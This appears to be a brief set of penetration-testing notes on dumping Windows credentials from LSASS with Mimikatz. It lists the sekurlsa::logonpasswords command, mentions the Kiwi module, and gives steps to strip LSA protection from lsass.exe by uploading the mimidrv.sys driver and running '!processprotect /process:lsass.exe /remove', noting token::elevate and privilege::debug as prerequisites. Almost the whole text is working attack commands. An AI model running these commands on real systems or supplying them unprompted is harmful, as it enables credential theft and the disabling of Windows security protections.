LSASS: NTLM

Mimikatz

sekurlsa::logonpasswords

Kiwi

Disable LSA Protection (Mimikatz)

Upload neccessary mimikatz driver first

upload /usr/share/windows-resources/mimikatz/x64/mimidrv.sys

Disable lsass protection

!+
!processprotect /process:lsass.exe /remove

token::elevate and privilege::debug is neccesary for certain Mimikatz commands